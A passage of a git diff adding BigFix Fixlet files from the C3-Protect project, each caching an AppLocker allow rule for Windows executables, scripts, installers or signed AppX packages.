+    <Title>Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow Administrators to run All Files.&nbsp;</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Administrators-Exe-All.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Administrators-Exe-All"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Exe">
+		<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows (20706).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows (20706).bes
new file mode 100644
index 000000000..a62c05afd
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows (20706).bes	
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows
+  ID       : 20706
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:00:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Scripts</P>
+<UL>
+<LI>Allow Administrators to run all scripts</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Administrators-Scripts-All.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Administrators-Scripts-All"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Script">
+		<FilePathRule Id="ed97d0cb-15ff-430f-b82c-8d7832957725" Name="(Default Rule) All scripts" Description="Allows members of the local Administrators group to run all scripts." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows (20714).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows (20714).bes
new file mode 100644
index 000000000..af4de3406
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows (20714).bes	
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows
+  ID       : 20714
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T16:10:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it provides a rule for Script</P><BR>The rule self describes as: Allow Administrators in to run Scripts in their profiles except for AppData ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(not exists file (pathname of data folder of client & "\__Global\Applocker\Allow Administrators in to run Scripts in their profiles except for AppData.xml"))]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Allow Administrators in to run Scripts in their profiles except for AppData"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+<RuleCollection Type="Script">
+<FilePathRule Id="4687599f-786d-4bae-8e66-2413a02b0a4a" Name="Allow Administrators in to run Scripts in their profiles except for AppData" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%OSDRIVE%\users\*" /></Conditions><Exceptions><FilePathCondition Path="%OSDRIVE%\users\*\Appdata\*" /></Exceptions></FilePathRule>
+</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows (20707).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows (20707).bes
new file mode 100644
index 000000000..0017f385c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows (20707).bes	
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows
+  ID       : 20707
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:00:40
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Installers</P>
+<UL>
+<LI>Allow everyone to run installers in C:\Windows\Installers</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Msi-Cached.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Everyone-Msi-Cached"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Msi">
+		<FilePathRule Id="5b290184-345a-4453-b184-45305f6d9a54" Name="(Default Rule) All Windows Installer files in %systemdrive%\Windows\Installer" Description="Allows members of the Everyone group to run all Windows Installer files located in %systemdrive%\Windows\Installer." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\Installer\*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows (20746).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows (20746).bes
new file mode 100644
index 000000000..37e26ca9e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows (20746).bes	
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows
+  ID       : 20746
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-31T12:10:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Installed Executables - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow all files in C:\Windows, C:\Program Files, C:\Program Files (x86)</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Exe-Installed.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Everyone-Exe-Installed"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Exe">
+		<FilePathRule Id="921cc481-6e17-4653-8f75-050b80acca20" Name="(Default Rule) All files located in the Program Files folder" Description="Allows members of the Everyone group to run applications that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%PROGRAMFILES%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members of the Everyone group to run applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20709).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20709).bes
new file mode 100644
index 000000000..5f8d9b291
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20709).bes	
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows
+  ID       : 20709
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:00:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Installed Scripts - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a number of policies to Applocker. Specifically it configures:</P>
+<P>Scripts</P>
+<UL>
+<LI>Allow all scripts in Program Files folder
+<LI>Allow all scripts in Windows folder </LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Scripts-Installed.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Everyone-Scripts-Installed"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Script">
+		<FilePathRule Id="06dce67b-934c-454f-a263-2515c8796a5d" Name="(Default Rule) All scripts located in the Program Files folder" Description="Allows members of the Everyone group to run scripts that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%PROGRAMFILES%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="9428c672-5fc3-47f4-808a-a0011f36dd2c" Name="(Default Rule) All scripts located in the Windows folder" Description="Allows members of the Everyone group to run scripts that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows (20738).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows (20738).bes
new file mode 100644
index 000000000..13228a2c1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows (20738).bes	
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows
+  ID       : 20738
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-30T10:22:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Scripts in Program Files - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it provides a rule for Script</P>
+<P><BR>The rule self describes as: Allow Everyone to run Scripts in the Program Files Directory </P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(not exists file (pathname of data folder of client & "\__Global\Applocker\Script-Allow Everyone to run Scripts in the Program Files Directory.xml"))]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Script-Allow Everyone to run Scripts in the Program Files Directory"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+<RuleCollection Type="Script">
+<FilePathRule Id="6a365ddc-9201-4134-a722-703d156fe65f" Name="Allow Everyone to run Scripts in the Program Files Directory" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%OSDRIVE%\Program Files\*" /></Conditions></FilePathRule>
+</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows (20739).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows (20739).bes
new file mode 100644
index 000000000..e4f1d1db4
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows (20739).bes	
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows
+  ID       : 20739
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-30T10:23:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Scripts in the Windows Directory except Temp - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it provides a rule for Script</P>
+<P><BR>The rule self describes as: Allow Everyone to run Scripts in the Windows Directory except Temp.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(not exists file (pathname of data folder of client & "\__Global\Applocker\Script-Allow Everyone to run Scripts in the Windows Directory except Temp.xml"))]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Script-Allow Everyone to run Scripts in the Windows Directory except Temp"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+<RuleCollection Type="Script">
+<FilePathRule Id="6cae8edd-b826-42fc-9d22-b6255b0ae056" Name="Allow Everyone to run Scripts in the Windows Directory except Temp" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%WINDIR%\*" /></Conditions><Exceptions><FilePathCondition Path="%WINDIR%\*\Temp\*" /></Exceptions></FilePathRule>
+</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows (20740).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows (20740).bes
new file mode 100644
index 000000000..872d48400
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows (20740).bes	
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows
+  ID       : 20740
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-30T10:23:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Scripts in their Profiles except AppData - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it provides a rule for Script</P>
+<P>The rule self describes as: Allow Everyone to run Scripts in their profiles except for AppData </P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(not exists file (pathname of data folder of client & "\__Global\Applocker\Script-Allow Everyone to run Scripts in their profiles except for AppData.xml"))]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Script-Allow Everyone to run Scripts in their profiles except for AppData"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+<RuleCollection Type="Script">
+<FilePathRule Id="4687599f-786d-4bae-8e66-2413a02b0a4a" Name="Allow Everyone to run Scripts in their profiles except for AppData" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%OSDRIVE%\users\*" /></Conditions><Exceptions><FilePathCondition Path="%OSDRIVE%\users\*\Appdata\*" /></Exceptions></FilePathRule>
+</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows (20710).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows (20710).bes
new file mode 100644
index 000000000..1294b5a33
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows (20710).bes	
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows
+  ID       : 20710
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:01:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Signed AppX - Windows</Title>
+    <Description><![CDATA[<P>This policy adds&nbsp;a policy&nbsp;Applocker. Specifically it configures:</P>
+<P>AppX</P>
+<UL>
+<LI>Allow everyone to run signed AppX</LI></UL>
